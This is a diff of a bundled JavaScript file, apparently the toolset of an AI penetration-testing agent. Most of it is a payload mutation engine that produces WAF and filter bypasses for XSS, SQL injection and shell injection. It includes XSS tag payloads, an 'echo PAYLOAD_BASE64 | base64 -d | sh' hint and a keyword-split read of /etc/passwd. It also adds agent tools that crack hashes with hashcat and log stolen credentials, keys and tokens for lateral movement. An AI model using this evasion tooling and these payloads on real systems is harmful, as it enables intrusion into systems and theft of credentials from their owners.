return `%${code.toString(16).padStart(2, "0").toUpperCase()}`;
|
|
4322
|
+
}).join("");
|
|
4323
|
+
}
|
|
4324
|
+
function urlEncodeAll(s) {
|
|
4325
|
+
return [...s].map((c) => `%${c.charCodeAt(0).toString(16).padStart(2, "0").toUpperCase()}`).join("");
|
|
4326
|
+
}
|
|
4327
|
+
function doubleUrlEncode(s) {
|
|
4328
|
+
return urlEncodeAll(urlEncodeAll(s));
|
|
4329
|
+
}
|
|
4330
|
+
function tripleUrlEncode(s) {
|
|
4331
|
+
return urlEncodeAll(urlEncodeAll(urlEncodeAll(s)));
|
|
4332
|
+
}
|
|
4333
|
+
function unicodeEncode(s) {
|
|
4334
|
+
return [...s].map((c) => `%u${c.charCodeAt(0).toString(16).padStart(4, "0")}`).join("");
|
|
4335
|
+
}
|
|
4336
|
+
function htmlEntityDec(s) {
|
|
4337
|
+
return [...s].map((c) => `&#${c.charCodeAt(0)};`).join("");
|
|
4338
|
+
}
|
|
4339
|
+
function htmlEntityHex(s) {
|
|
4340
|
+
return [...s].map((c) => `&#x${c.charCodeAt(0).toString(16)};`).join("");
|
|
4341
|
+
}
|
|
4342
|
+
function hexEncode(s) {
|
|
4343
|
+
return "0x" + [...s].map((c) => c.charCodeAt(0).toString(16).padStart(2, "0")).join("");
|
|
4344
|
+
}
|
|
4345
|
+
function octalEncode(s) {
|
|
4346
|
+
return [...s].map((c) => `\\${c.charCodeAt(0).toString(8)}`).join("");
|
|
4347
|
+
}
|
|
4348
|
+
function base64Encode(s) {
|
|
4349
|
+
return Buffer.from(s).toString("base64");
|
|
4350
|
+
}
|
|
4351
|
+
function caseSwap(s) {
|
|
4352
|
+
return [...s].map((c) => {
|
|
4353
|
+
if (Math.random() > 0.5) return c.toUpperCase();
|
|
4354
|
+
return c.toLowerCase();
|
|
4355
|
+
}).join("");
|
|
4356
|
+
}
|
|
4357
|
+
function commentInsert(s) {
|
|
4358
|
+
const keywords = ["SELECT", "UNION", "FROM", "WHERE", "INSERT", "UPDATE", "DELETE", "DROP", "AND", "OR", "ORDER", "GROUP", "HAVING"];
|
|
4359
|
+
let result2 = s;
|
|
4360
|
+
for (const kw of keywords) {
|
|
4361
|
+
const regex = new RegExp(kw, "gi");
|
|
4362
|
+
result2 = result2.replace(regex, (match) => {
|
|
4363
|
+
if (match.length <= 2) return match;
|
|
4364
|
+
const mid = Math.floor(match.length / 2);
|
|
4365
|
+
return match.slice(0, mid) + "/**/" + match.slice(mid);
|
|
4366
|
+
});
|
|
4367
|
+
}
|
|
4368
|
+
return result2;
|
|
4369
|
+
}
|
|
4370
|
+
function whitespaceAlt(s) {
|
|
4371
|
+
const alts = ["%09", "%0a", "%0c", "%0d", "/**/"];
|
|
4372
|
+
const alt = alts[Math.floor(Math.random() * alts.length)];
|
|
4373
|
+
return s.replace(/ /g, alt);
|
|
4374
|
+
}
|
|
4375
|
+
function charFunction(s, dbType = "mysql") {
|
|
4376
|
+
const chars = [...s].map((c) => c.charCodeAt(0));
|
|
4377
|
+
if (dbType === "mysql") {
|
|
4378
|
+
return `CHAR(${chars.join(",")})`;
|
|
4379
|
+
}
|
|
4380
|
+
if (dbType === "mssql") {
|
|
4381
|
+
return chars.map((c) => `CHAR(${c})`).join("+");
|
|
4382
|
+
}
|
|
4383
|
+
return chars.map((c) => `CHR(${c})`).join("||");
|
|
4384
|
+
}
|
|
4385
|
+
function concatSplit(s) {
|
|
4386
|
+
if (s.length <= 2) return s;
|
|
4387
|
+
const mid = Math.floor(s.length / 2);
|
|
4388
|
+
return `CONCAT('${s.slice(0, mid)}','${s.slice(mid)}')`;
|
|
4389
|
+
}
|
|
4390
|
+
function nullByteAppend(s) {
|
|
4391
|
+
return s + "%00";
|
|
4392
|
+
}
|
|
4393
|
+
function reversePayload(s) {
|
|
4394
|
+
return [...s].reverse().join("");
|
|
4395
|
+
}
|
|
4396
|
+
function utf8Overlong(s) {
|
|
4397
|
+
return s.replace(/\//g, "%c0%af").replace(/\./g, "%c0%ae");
|
|
4398
|
+
}
|
|
4399
|
+
function mixedEncoding(s) {
|
|
4400
|
+
return [...s].map((c, i) => {
|
|
4401
|
+
if (i % 2 === 0 && c !== " ") return c;
|
|
4402
|
+
return `%${c.charCodeAt(0).toString(16).padStart(2, "0")}`;
|
|
4403
|
+
}).join("");
|
|
4404
|
+
}
|
|
4405
|
+
function keywordBypass(s) {
|
|
4406
|
+
return [...s].map((c, i) => {
|
|
4407
|
+
if (i > 0 && i < s.length - 1 && i % 3 === 0 && c.match(/[a-z]/i)) {
|
|
4408
|
+
return `'${c}'`;
|
|
4409
|
+
}
|
|
4410
|
+
return c;
|
|
4411
|
+
}).join("");
|
|
4412
|
+
}
|
|
4413
|
+
function spaceBypass(s) {
|
|
4414
|
+
return s.replace(/ /g, "${IFS}");
|
|
4415
|
+
}
|
|
4416
|
+
function generateXssAlternatives(payload) {
|
|
4417
|
+
const variants = [];
|
|
4418
|
+
const tagPayloads = [
|
|
4419
|
+
{ p: "<svg onload=alert(1)>", d: "SVG onload" },
|
|
4420
|
+
{ p: "<img src=x onerror=alert(1)>", d: "IMG onerror" },
|
|
4421
|
+
{ p: "<body onload=alert(1)>", d: "BODY onload" },
|
|
4422
|
+
{ p: "<input onfocus=alert(1) autofocus>", d: "INPUT onfocus autofocus" },
|
|
4423
|
+
{ p: "<details open ontoggle=alert(1)>", d: "DETAILS ontoggle" },
|
|
4424
|
+
{ p: "<marquee onstart=alert(1)>", d: "MARQUEE onstart" },
|
|
4425
|
+
{ p: "<video src=x onerror=alert(1)>", d: "VIDEO onerror" },
|
|
4426
|
+
{ p: "<audio src=x onerror=alert(1)>", d: "AUDIO onerror" },
|
|
4427
|
+
{ p: '<iframe src="javascript:alert(1)">', d: "IFRAME javascript protocol" },
|
|
4428
|
+
{ p: '<object data="javascript:alert(1)">', d: "OBJECT javascript protocol" },
|
|
4429
|
+
{ p: "<svg><animate onbegin=alert(1) attributeName=x dur=1s>", d: "SVG animate onbegin" }
|
|
4430
|
+
];
|
|
4431
|
+
const alertBypass = [
|
|
4432
|
+
{ p: "confirm(1)", d: "confirm() instead of alert()" },
|
|
4433
|
+
{ p: "prompt(1)", d: "prompt() instead of alert()" },
|
|
4434
|
+
{ p: 'eval(atob("YWxlcnQoMSk="))', d: "eval+base64 of alert(1)" },
|
|
4435
|
+
{ p: "window['al'+'ert'](1)", d: "string concat alert" },
|
|
4436
|
+
{ p: "self[`al`+`ert`](1)", d: "template literal alert" },
|
|
4437
|
+
{ p: '[].constructor.constructor("alert(1)")()', d: "constructor chain" }
|
|
4438
|
+
];
|
|
4439
|
+
for (const tag of tagPayloads) {
|
|
4440
|
+
variants.push({ payload: tag.p, transform: "tag_alternative", description: tag.d });
|
|
4441
|
+
}
|
|
4442
|
+
for (const alt of alertBypass) {
|
|
4443
|
+
variants.push({ payload: `<img src=x onerror=${alt.p}>`, transform: "js_alternative", description: alt.d });
|
|
4444
|
+
}
|
|
4445
|
+
return variants;
|
|
4446
|
+
}
|
|
4447
|
+
function generateSqlAlternatives(payload) {
|
|
4448
|
+
const variants = [];
|
|
4449
|
+
variants.push({ payload: payload.replace(/--.*$/, "--"), transform: "comment_variation", description: "Double dash comment" });
|
|
4450
|
+
variants.push({ payload: payload.replace(/--.*$/, "#"), transform: "comment_variation", description: "Hash comment (MySQL)" });
|
|
4451
|
+
variants.push({ payload: payload.replace(/--.*$/, "/*"), transform: "comment_variation", description: "Block comment" });
|
|
4452
|
+
variants.push({ payload: payload.replace(/--.*$/, "-- -"), transform: "comment_variation", description: "Dash-space-dash" });
|
|
4453
|
+
variants.push({ payload: payload.replace(/--.*$/, ";--"), transform: "comment_variation", description: "Semicolon then comment" });
|
|
4454
|
+
const mysqlVersion = payload.replace(/(UNION|SELECT|INSERT|UPDATE|DELETE|FROM|WHERE)/gi, "/*!50000$1*/");
|
|
4455
|
+
variants.push({ payload: mysqlVersion, transform: "mysql_version_comment", description: "MySQL version comment bypass" });
|
|
4456
|
+
return variants;
|
|
4457
|
+
}
|
|
4458
|
+
function mutatePayload(request) {
|
|
4459
|
+
const { payload, transforms, context = "generic", maxVariants = 20 } = request;
|
|
4460
|
+
const variants = [];
|
|
4461
|
+
const recommendations = [];
|
|
4462
|
+
const activeTransforms = transforms || getDefaultTransforms(context);
|
|
4463
|
+
for (const transform of activeTransforms) {
|
|
4464
|
+
switch (transform) {
|
|
4465
|
+
case "url":
|
|
4466
|
+
variants.push({ payload: urlEncode(payload), transform: "url", description: "URL encoded (special chars only)" });
|
|
4467
|
+
variants.push({ payload: urlEncodeAll(payload), transform: "url_full", description: "URL encoded (all chars)" });
|
|
4468
|
+
break;
|
|
4469
|
+
case "double_url":
|
|
4470
|
+
variants.push({ payload: doubleUrlEncode(payload), transform: "double_url", description: "Double URL encoded" });
|
|
4471
|
+
break;
|
|
4472
|
+
case "triple_url":
|
|
4473
|
+
variants.push({ payload: tripleUrlEncode(payload), transform: "triple_url", description: "Triple URL encoded" });
|
|
4474
|
+
break;
|
|
4475
|
+
case "unicode":
|
|
4476
|
+
variants.push({ payload: unicodeEncode(payload), transform: "unicode", description: "Unicode escape sequences" });
|
|
4477
|
+
break;
|
|
4478
|
+
case "html_entity_dec":
|
|
4479
|
+
variants.push({ payload: htmlEntityDec(payload), transform: "html_entity_dec", description: "HTML decimal entities" });
|
|
4480
|
+
break;
|
|
4481
|
+
case "html_entity_hex":
|
|
4482
|
+
variants.push({ payload: htmlEntityHex(payload), transform: "html_entity_hex", description: "HTML hex entities" });
|
|
4483
|
+
break;
|
|
4484
|
+
case "hex":
|
|
4485
|
+
variants.push({ payload: hexEncode(payload), transform: "hex", description: "Hex encoded" });
|
|
4486
|
+
break;
|
|
4487
|
+
case "octal":
|
|
4488
|
+
variants.push({ payload: octalEncode(payload), transform: "octal", description: "Octal encoded" });
|
|
4489
|
+
break;
|
|
4490
|
+
case "base64":
|
|
4491
|
+
variants.push({ payload: base64Encode(payload), transform: "base64", description: "Base64 encoded" });
|
|
4492
|
+
break;
|
|
4493
|
+
case "case_swap":
|
|
4494
|
+
for (let i = 0; i < 3; i++) {
|
|
4495
|
+
variants.push({ payload: caseSwap(payload), transform: "case_swap", description: `Case variation ${i + 1}` });
|
|
4496
|
+
}
|
|
4497
|
+
break;
|
|
4498
|
+
case "comment_insert":
|
|
4499
|
+
variants.push({ payload: commentInsert(payload), transform: "comment_insert", description: "SQL comments in keywords" });
|
|
4500
|
+
break;
|
|
4501
|
+
case "whitespace_alt":
|
|
4502
|
+
variants.push({ payload: whitespaceAlt(payload), transform: "whitespace_alt", description: "Alternative whitespace chars" });
|
|
4503
|
+
variants.push({ payload: payload.replace(/ /g, "/**/"), transform: "whitespace_comment", description: "Comment as whitespace" });
|
|
4504
|
+
variants.push({ payload: payload.replace(/ /g, "+"), transform: "whitespace_plus", description: "Plus as whitespace" });
|
|
4505
|
+
break;
|
|
4506
|
+
case "char_function":
|
|
4507
|
+
variants.push({ payload: charFunction(payload, "mysql"), transform: "char_mysql", description: "MySQL CHAR() encoding" });
|
|
4508
|
+
variants.push({ payload: charFunction(payload, "mssql"), transform: "char_mssql", description: "MSSQL CHAR() encoding" });
|
|
4509
|
+
variants.push({ payload: charFunction(payload, "pg"), transform: "char_pg", description: "PostgreSQL CHR() encoding" });
|
|
4510
|
+
break;
|
|
4511
|
+
case "concat_split":
|
|
4512
|
+
variants.push({ payload: concatSplit(payload), transform: "concat_split", description: "String split via CONCAT" });
|
|
4513
|
+
break;
|
|
4514
|
+
case "null_byte":
|
|
4515
|
+
variants.push({ payload: nullByteAppend(payload), transform: "null_byte", description: "Null byte appended" });
|
|
4516
|
+
variants.push({ payload: payload + "%00.jpg", transform: "null_byte_ext", description: "Null byte + fake extension" });
|
|
4517
|
+
break;
|
|
4518
|
+
case "reverse":
|
|
4519
|
+
variants.push({ payload: reversePayload(payload), transform: "reverse", description: "Reversed (use with rev | sh)" });
|
|
4520
|
+
break;
|
|
4521
|
+
case "utf8_overlong":
|
|
4522
|
+
variants.push({ payload: utf8Overlong(payload), transform: "utf8_overlong", description: "UTF-8 overlong sequences" });
|
|
4523
|
+
break;
|
|
4524
|
+
case "mixed_encoding":
|
|
4525
|
+
variants.push({ payload: mixedEncoding(payload), transform: "mixed_encoding", description: "Mixed encoding (partial)" });
|
|
4526
|
+
break;
|
|
4527
|
+
case "tag_alternative":
|
|
4528
|
+
case "event_handler":
|
|
4529
|
+
case "js_alternative":
|
|
4530
|
+
variants.push(...generateXssAlternatives(payload));
|
|
4531
|
+
break;
|
|
4532
|
+
case "keyword_bypass":
|
|
4533
|
+
variants.push({ payload: keywordBypass(payload), transform: "keyword_bypass", description: "Quote-inserted keyword bypass" });
|
|
4534
|
+
variants.push({ payload: spaceBypass(payload), transform: "space_bypass", description: "$IFS space bypass" });
|
|
4535
|
+
break;
|
|
4536
|
+
case "space_bypass":
|
|
4537
|
+
variants.push({ payload: payload.replace(/ /g, "${IFS}"), transform: "ifs", description: "$IFS space bypass" });
|
|
4538
|
+
variants.push({ payload: payload.replace(/ /g, "%09"), transform: "tab", description: "Tab space bypass" });
|
|
4539
|
+
variants.push({ payload: payload.replace(/ /g, "<"), transform: "redirect", description: "Redirect as separator" });
|
|
4540
|
+
const parts = payload.split(" ");
|
|
4541
|
+
if (parts.length >= 2) {
|
|
4542
|
+
variants.push({ payload: `{${parts.join(",")}}`, transform: "brace", description: "Brace expansion" });
|
|
4543
|
+
}
|
|
4544
|
+
break;
|
|
4545
|
+
}
|
|
4546
|
+
}
|
|
4547
|
+
if (context.startsWith("sql")) {
|
|
4548
|
+
variants.push(...generateSqlAlternatives(payload));
|
|
4549
|
+
}
|
|
4550
|
+
recommendations.push(...getContextRecommendations(context, variants.length));
|
|
4551
|
+
return {
|
|
4552
|
+
variants: variants.slice(0, maxVariants),
|
|
4553
|
+
recommendations
|
|
4554
|
+
};
|
|
4555
|
+
}
|
|
4556
|
+
function getDefaultTransforms(context) {
|
|
4557
|
+
switch (context) {
|
|
4558
|
+
case "url_path":
|
|
4559
|
+
case "url_param":
|
|
4560
|
+
return ["url", "double_url", "unicode", "utf8_overlong", "mixed_encoding", "null_byte"];
|
|
4561
|
+
case "html_body":
|
|
4562
|
+
return ["html_entity_dec", "html_entity_hex", "unicode", "tag_alternative", "event_handler", "js_alternative"];
|
|
4563
|
+
case "html_attr":
|
|
4564
|
+
return ["html_entity_dec", "html_entity_hex", "event_handler"];
|
|
4565
|
+
case "js_string":
|
|
4566
|
+
return ["unicode", "hex", "base64", "js_alternative"];
|
|
4567
|
+
case "sql_string":
|
|
4568
|
+
case "sql_numeric":
|
|
4569
|
+
return ["case_swap", "comment_insert", "whitespace_alt", "char_function", "concat_split", "url", "double_url"];
|
|
4570
|
+
case "shell_cmd":
|
|
4571
|
+
return ["keyword_bypass", "space_bypass", "base64", "reverse", "hex", "octal"];
|
|
4572
|
+
case "xml_body":
|
|
4573
|
+
return ["html_entity_dec", "html_entity_hex", "unicode"];
|
|
4574
|
+
case "json_body":
|
|
4575
|
+
return ["unicode"];
|
|
4576
|
+
case "http_header":
|
|
4577
|
+
case "cookie":
|
|
4578
|
+
return ["url", "double_url", "base64"];
|
|
4579
|
+
default:
|
|
4580
|
+
return ["url", "double_url", "html_entity_dec", "unicode", "base64", "case_swap"];
|
|
4581
|
+
}
|
|
4582
|
+
}
|
|
4583
|
+
function getContextRecommendations(context, variantCount) {
|
|
4584
|
+
const recs = [];
|
|
4585
|
+
recs.push(`Generated ${variantCount} variants for context: ${context}`);
|
|
4586
|
+
switch (context) {
|
|
4587
|
+
case "url_param":
|
|
4588
|
+
recs.push("If all URL encoding fails: try HTTP Parameter Pollution (send same param twice)");
|
|
4589
|
+
recs.push("Try switching GET \u2192 POST or changing Content-Type");
|
|
4590
|
+
recs.push("Check if WebSocket endpoint exists (often unfiltered)");
|
|
4591
|
+
break;
|
|
4592
|
+
case "sql_string":
|
|
4593
|
+
case "sql_numeric":
|
|
4594
|
+
recs.push("If inline comments fail: try MySQL version comments /*!50000SELECT*/");
|
|
4595
|
+
recs.push("Try time-based blind if error/union payloads are blocked");
|
|
4596
|
+
recs.push("Use sqlmap with --tamper scripts for automated bypass");
|
|
4597
|
+
break;
|
|
4598
|
+
case "html_body":
|
|
4599
|
+
recs.push("If common XSS tags blocked: try SVG, MathML, mutation XSS");
|
|
4600
|
+
recs.push("Check CSP header \u2014 it determines what JS execution is possible");
|
|
4601
|
+
recs.push("Try DOM-based XSS via document.location, innerHTML, postMessage");
|
|
4602
|
+
break;
|
|
4603
|
+
case "shell_cmd":
|
|
4604
|
+
recs.push("Use ${IFS} for space, quotes for keyword bypass, base64 for full obfuscation");
|
|
4605
|
+
recs.push("Try: echo PAYLOAD_BASE64 | base64 -d | sh");
|
|
4606
|
+
recs.push("Variable concatenation: a=c;b=at;$a$b /etc/passwd");
|
|
4607
|
+
break;
|
|
4608
|
+
}
|
|
4609
|
+
recs.push("If all variants fail: web_search for latest bypass techniques for this specific filter type");
|
|
4610
|
+
return recs;
|
|
4611
|
+
}
|
|
4612
|
+
|
|
4613
|
+
// src/engine/tools/pentest-attack-tools.ts
|
|
4614
|
+
var createAttackTools = (_state) => [
|
|
4615
|
+
{
|
|
4616
|
+
name: TOOL_NAMES.HASH_CRACK,
|
|
4617
|
+
description: `Crack password hashes using hashcat or john.
|
|
4618
|
+
Runs as a background process by default. Use bg_process status to check progress.
|
|
4619
|
+
Common wordlists are automatically searched in /usr/share/wordlists (rockyou.txt, etc).`,
|
|
4360
4620
|
parameters: {
|
|
4361
|
-
|
|
4362
|
-
|
|
4363
|
-
|
|
4364
|
-
}
|
|
4621
|
+
hashes: { type: "string", description: "Hash(es) to crack (raw or file path)" },
|
|
4622
|
+
format: { type: "string", description: "Hash format (e.g., md5, sha1, nt, mscash2). Omit for auto-detect." },
|
|
4623
|
+
wordlist: { type: "string", description: "Wordlist name or path (default: rockyou)" },
|
|
4624
|
+
background: { type: "boolean", description: "Run in background. Default: true" }
|
|
4365
4625
|
},
|
|
4366
|
-
required: ["
|
|
4626
|
+
required: ["hashes"],
|
|
4367
4627
|
execute: async (p) => {
|
|
4368
|
-
const
|
|
4369
|
-
|
|
4370
|
-
|
|
4371
|
-
|
|
4372
|
-
|
|
4373
|
-
|
|
4374
|
-
|
|
4375
|
-
|
|
4376
|
-
|
|
4377
|
-
|
|
4378
|
-
|
|
4379
|
-
};
|
|
4380
|
-
}
|
|
4381
|
-
const cve = CVE_DATABASE[cveId.toUpperCase()];
|
|
4382
|
-
if (cve) {
|
|
4628
|
+
const hashes = p.hashes;
|
|
4629
|
+
const format = p.format;
|
|
4630
|
+
const wordlist = p.wordlist || "rockyou";
|
|
4631
|
+
const background = p.background !== false;
|
|
4632
|
+
let wordlistPath = wordlist;
|
|
4633
|
+
if (wordlist === "rockyou") wordlistPath = WORDLISTS.ROCKYOU;
|
|
4634
|
+
const cmd = `hashcat -m ${format || HASHCAT_MODES.MD5} "${hashes}" "${wordlistPath}" --force`;
|
|
4635
|
+
if (background) {
|
|
4636
|
+
const proc = startBackgroundProcess(cmd, {
|
|
4637
|
+
description: `Cracking hashes: ${hashes.slice(0, 20)}...`,
|
|
4638
|
+
purpose: `Attempting to crack ${format || "unknown"} hashes using ${wordlist}`
|
|
4639
|
+
});
|
|
4383
4640
|
return {
|
|
4384
4641
|
success: true,
|
|
4385
|
-
output:
|
|
4386
|
-
|
|
4387
|
-
|
|
4388
|
-
**Severity:** ${cve.severity}
|
|
4389
|
-
**Affected:** ${cve.affected}
|
|
4390
|
-
**Description:** ${cve.description}`
|
|
4642
|
+
output: `Hash cracking started in background (ID: ${proc.id}).
|
|
4643
|
+
Command: ${cmd}
|
|
4644
|
+
Check status with: bg_process({ action: "status", process_id: "${proc.id}" })`
|
|
4391
4645
|
};
|
|
4646
|
+
} else {
|
|
4647
|
+
return runCommand(cmd);
|
|
4392
4648
|
}
|
|
4393
|
-
return {
|
|
4394
|
-
success: true,
|
|
4395
|
-
output: `CVE ${cveId} not in local database. Use web_search({ query: "${cveId} exploit POC" }) to find more information online.`
|
|
4396
|
-
};
|
|
4397
|
-
}
|
|
4398
|
-
},
|
|
4399
|
-
{
|
|
4400
|
-
name: TOOL_NAMES.ADD_TARGET,
|
|
4401
|
-
description: `Register a new target for the engagement.
|
|
4402
|
-
Use this when you discover new hosts during recon, pivoting, or post-exploitation.
|
|
4403
|
-
The target will be tracked in SharedState and available for all agents.`,
|
|
4404
|
-
parameters: {
|
|
4405
|
-
ip: { type: "string", description: "Target IP address" },
|
|
4406
|
-
hostname: { type: "string", description: "Target hostname (optional)" },
|
|
4407
|
-
ports: {
|
|
4408
|
-
type: "array",
|
|
4409
|
-
items: {
|
|
4410
|
-
type: "object",
|
|
4411
|
-
properties: {
|
|
4412
|
-
port: { type: "number", description: "Port number" },
|
|
4413
|
-
service: { type: "string", description: "Service name (e.g., http, ssh)" },
|
|
4414
|
-
version: { type: "string", description: "Service version" },
|
|
4415
|
-
state: { type: "string", description: "Port state (default: open)" }
|
|
4416
|
-
},
|
|
4417
|
-
required: ["port", "service"]
|
|
4418
|
-
},
|
|
4419
|
-
description: "Discovered ports (optional, can add later via recon)"
|
|
4420
|
-
},
|
|
4421
|
-
tags: {
|
|
4422
|
-
type: "array",
|
|
4423
|
-
items: { type: "string" },
|
|
4424
|
-
description: 'Tags for categorization (e.g., "internal", "dmz", "pivot")'
|
|
4425
|
-
}
|
|
4426
|
-
},
|
|
4427
|
-
required: ["ip"],
|
|
4428
|
-
execute: async (p) => {
|
|
4429
|
-
const ip = p.ip;
|
|
4430
|
-
const existing = state.getTarget(ip);
|
|
4431
|
-
if (existing) {
|
|
4432
|
-
const newPorts = p.ports || [];
|
|
4433
|
-
for (const np of newPorts) {
|
|
4434
|
-
const exists = existing.ports.some((ep) => ep.port === np.port);
|
|
4435
|
-
if (!exists) {
|
|
4436
|
-
existing.ports.push({
|
|
4437
|
-
port: np.port,
|
|
4438
|
-
service: np.service || "unknown",
|
|
4439
|
-
version: np.version,
|
|
4440
|
-
state: np.state || "open",
|
|
4441
|
-
notes: []
|
|
4442
|
-
});
|
|
4443
|
-
}
|
|
4444
|
-
}
|
|
4445
|
-
if (p.hostname) existing.hostname = p.hostname;
|
|
4446
|
-
if (p.tags) existing.tags = [.../* @__PURE__ */ new Set([...existing.tags, ...p.tags])];
|
|
4447
|
-
return { success: true, output: `Target ${ip} updated. Total ports: ${existing.ports.length}` };
|
|
4448
|
-
}
|
|
4449
|
-
const ports = (p.ports || []).map((port) => ({
|
|
4450
|
-
port: port.port,
|
|
4451
|
-
service: port.service || "unknown",
|
|
4452
|
-
version: port.version,
|
|
4453
|
-
state: port.state || "open",
|
|
4454
|
-
notes: []
|
|
4455
|
-
}));
|
|
4456
|
-
state.addTarget({
|
|
4457
|
-
ip,
|
|
4458
|
-
hostname: p.hostname,
|
|
4459
|
-
ports,
|
|
4460
|
-
tags: p.tags || [],
|
|
4461
|
-
firstSeen: Date.now()
|
|
4462
|
-
});
|
|
4463
|
-
return { success: true, output: `Target ${ip} added.${p.hostname ? ` Hostname: ${p.hostname}` : ""} Ports: ${ports.length}` };
|
|
4464
|
-
}
|
|
4465
|
-
},
|
|
4466
|
-
{
|
|
4467
|
-
name: TOOL_NAMES.ADD_LOOT,
|
|
4468
|
-
description: `Record captured loot (credentials, hashes, tokens, SSH keys, files, etc).
|
|
4469
|
-
Use this whenever you discover sensitive data during the engagement.
|
|
4470
|
-
Loot is tracked in SharedState and visible to all agents for credential reuse and lateral movement.
|
|
4471
|
-
Types: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate`,
|
|
4472
|
-
parameters: {
|
|
4473
|
-
type: { type: "string", description: "Loot type: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate" },
|
|
4474
|
-
host: { type: "string", description: "Source host where loot was found" },
|
|
4475
|
-
detail: { type: "string", description: 'Loot detail (e.g., "admin:Password123", "root:$6$...", "JWT admin token")' }
|
|
4476
|
-
},
|
|
4477
|
-
required: ["type", "host", "detail"],
|
|
4478
|
-
execute: async (p) => {
|
|
4479
|
-
const lootType = p.type;
|
|
4480
|
-
const crackableTypes = ["hash"];
|
|
4481
|
-
state.addLoot({
|
|
4482
|
-
type: lootType,
|
|
4483
|
-
host: p.host,
|
|
4484
|
-
detail: p.detail,
|
|
4485
|
-
obtainedAt: Date.now(),
|
|
4486
|
-
isCrackable: crackableTypes.includes(lootType),
|
|
4487
|
-
isCracked: false
|
|
4488
|
-
});
|
|
4489
|
-
return {
|
|
4490
|
-
success: true,
|
|
4491
|
-
output: `Loot recorded: [${lootType}] from ${p.host}
|
|
4492
|
-
Detail: ${p.detail}
|
|
4493
|
-
` + (crackableTypes.includes(lootType) ? `This is crackable. Consider: hash_crack({ hashes: "${p.detail.slice(0, 30)}..." })` : `Consider credential reuse / lateral movement with this loot.`)
|
|
4494
|
-
};
|
|
4495
|
-
}
|
|
4496
|
-
},
|
|
4497
|
-
{
|
|
4498
|
-
name: TOOL_NAMES.ADD_FINDING,
|
|
4499
|
-
description: "Add a security finding",
|
|
4500
|
-
parameters: {
|
|
4501
|
-
title: { type: "string", description: "Finding title" },
|
|
4502
|
-
severity: { type: "string", description: "Severity" },
|
|
4503
|
-
affected: { type: "array", items: { type: "string" }, description: "Affected host:port" }
|
|
4504
|
-
},
|
|
4505
|
-
required: ["title", "severity"],
|
|
4506
|
-
execute: async (p) => {
|
|
4507
|
-
state.addFinding({
|
|
4508
|
-
id: generateId(ID_RADIX, ID_LENGTH),
|
|
4509
|
-
title: p.title,
|
|
4510
|
-
severity: p.severity,
|
|
4511
|
-
affected: p.affected || [],
|
|
4512
|
-
description: p.description || "",
|
|
4513
|
-
evidence: [],
|
|
4514
|
-
isVerified: false,
|
|
4515
|
-
remediation: "",
|
|
4516
|
-
foundAt: Date.now()
|
|
4517
|
-
});
|
|
4518
|
-
return { success: true, output: `Added: ${p.title}` };
|
|
4519
4649
|
}
|
|
4520
4650
|
},
|
|
4521
4651
|
{
|
|
@@ -4568,12 +4698,6 @@ ${variantList}
|
|
|
4568
4698
|
};
|
|
4569
4699
|
}
|
|
4570
4700
|
},
|
|
4571
|
-
{
|
|
4572
|
-
name: TOOL_NAMES.GET_STATE,
|
|
4573
|
-
description: "Get current engagement state summary",
|
|
4574
|
-
parameters: {},
|
|
4575
|
-
execute: async () => ({ success: true, output: state.toPrompt() })
|
|
4576
|
-
},
|
|
4577
4701
|
{
|
|
4578
4702
|
name: TOOL_NAMES.GET_WORDLISTS,
|
|
4579
4703
|
description: `Discover available wordlists on the system by scanning actual filesystem paths.
|
|
@@ -4606,8 +4730,8 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
|
|
|
4606
4730
|
}
|
|
4607
4731
|
},
|
|
4608
4732
|
execute: async (p) => {
|
|
4609
|
-
const { existsSync:
|
|
4610
|
-
const { join:
|
|
4733
|
+
const { existsSync: existsSync7, statSync: statSync2, readdirSync: readdirSync3 } = await import("fs");
|
|
4734
|
+
const { join: join10 } = await import("path");
|
|
4611
4735
|
const category = p.category || "";
|
|
4612
4736
|
const search = p.search || "";
|
|
4613
4737
|
const minSize = p.min_size || 0;
|
|
@@ -4622,11 +4746,11 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
|
|
|
4622
4746
|
let totalCount = 0;
|
|
4623
4747
|
const scanDir = (dirPath, maxDepth = 3, currentDepth = 0) => {
|
|
4624
4748
|
if (currentDepth > maxDepth) return;
|
|
4625
|
-
if (!
|
|
4749
|
+
if (!existsSync7(dirPath)) return;
|
|
4626
4750
|
try {
|
|
4627
|
-
const entries =
|
|
4751
|
+
const entries = readdirSync3(dirPath, { withFileTypes: true });
|
|
4628
4752
|
for (const entry of entries) {
|
|
4629
|
-
const fullPath =
|
|
4753
|
+
const fullPath = join10(dirPath, entry.name);
|
|
4630
4754
|
if (entry.isDirectory()) {
|
|
4631
4755
|
if (entry.name.startsWith(".")) continue;
|
|
4632
4756
|
if (entry.name === "doc") continue;
|
|
@@ -4637,7 +4761,7 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
|
|
|
4637
4761
|
continue;
|
|
4638
4762
|
}
|
|
4639
4763
|
try {
|
|
4640
|
-
const stats =
|
|
4764
|
+
const stats = statSync2(fullPath);
|
|
4641
4765
|
const sizeBytes = stats.size;
|
|
4642
4766
|
if (sizeBytes < minSize) continue;
|
|
4643
4767
|
const relPath = fullPath;
|
|
@@ -4712,6 +4836,14 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
|
|
|
4712
4836
|
}
|
|
4713
4837
|
];
|
|
4714
4838
|
|
|
4839
|
+
// src/engine/tools/pentest.ts
|
|
4840
|
+
var createPentestTools = (state) => [
|
|
4841
|
+
...createStateTools(state),
|
|
4842
|
+
...createTargetTools(state),
|
|
4843
|
+
...createIntelTools(state),
|
|
4844
|
+
...createAttackTools(state)
|
|
4845
|
+
];
|
|
4846
|
+
|
|
4715
4847
|
// src/engine/tools/agents.ts
|
|
4716
4848
|
var globalCredentialHandler = null;
|
|
4717
4849
|
function setCredentialHandler(handler) {
|
|
@@ -4727,7 +4859,7 @@ async function requestCredential(request) {
|
|
|
4727
4859
|
try {
|
|
4728
4860
|
const value = await globalCredentialHandler(request);
|
|
4729
4861
|
if (value === null) {
|
|
4730
|
-
if (request.
|
|
4862
|
+
if (request.isOptional) {
|
|
4731
4863
|
return {
|
|
4732
4864
|
success: true,
|
|
4733
4865
|
output: `User skipped: ${request.prompt}${request.default ? ` (using default)` : ""}`,
|
|
@@ -4779,7 +4911,7 @@ Always provide context about why you need this input.`,
|
|
|
4779
4911
|
type: "string",
|
|
4780
4912
|
